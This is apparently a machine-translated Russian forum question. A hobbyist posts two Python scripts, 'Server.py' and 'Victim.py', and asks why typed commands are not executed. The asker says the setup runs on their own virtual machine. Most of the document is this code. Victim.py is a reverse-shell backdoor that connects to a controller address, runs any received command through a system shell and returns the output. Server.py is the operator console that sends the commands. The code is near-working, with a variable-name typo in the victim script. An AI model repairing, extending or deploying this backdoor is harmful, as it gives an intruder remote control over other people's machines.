Я возился с программированием сокетов и создал сценарий оболочки заднего хода в python с именем «Server.py», чтобы иметь возможность подключаться к другому сценарию на моей виртуальной машине под названием «Victim.py» и иметь возможность запускать команды с хост-машины, которую нужно отправить в командную строку жертвы и выполнить до того, как я продолжу ... вот код для обоих сценариев
#Server.py
import socket
import sys
# Creating a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.1.75'
port = 9999
s = socket.socket()
except socket.error as msg:
print("Socket could not be created: " + str(msg))
# Bind socket to port and wait for connection
def socket_bind():
try:
global host
global port
global s
print("Binding socket to port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket failed at binding " + str(msg) + "\n " + "Retrying...")
socket_bind()
# Establish a connection with victim
def socket_accept():
conn, address = s.accept()
print(" Connected to " + "IP: " +
address[0] + "\n\nport number is " + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), "utf-8")
print(client_response)
def main():
socket_create()
socket_bind()
socket_accept()
main()
а вот мой Victim.py
#Victim.py
import os
import socket
import subprocess
s = socket.socket()
host = '192.168.1.75'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode(
"utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
ouputbytes = cmd.stdout.read() + cmd.stderr.read()
outputstr = str(outputbytes, "utf-8")
s.send(str.encode(outputstr + str(os.getcwd()) + '>'))
print(outputstr)
s.close()
все работает нормально, и клиент подключается к моей машине с Ubuntu ... но когда я запускаю команду, она ничего не делает ... ничего, клиент на моей виртуальной машине Windows 7 остается бездействующим, когда он должен выполнять команды, которые я печатаю на своем компьютере. Машина с Ubuntu, я прошел через код, изменил номер порта и изменил количество принимаемых байтов (1024, 2048, 3000 и т. Д.), Кажется, ничего не работает, поэтому, если есть какая-то ошибка в мой код или что-то, чего я явно не хватает, пожалуйста, дайте мне знать.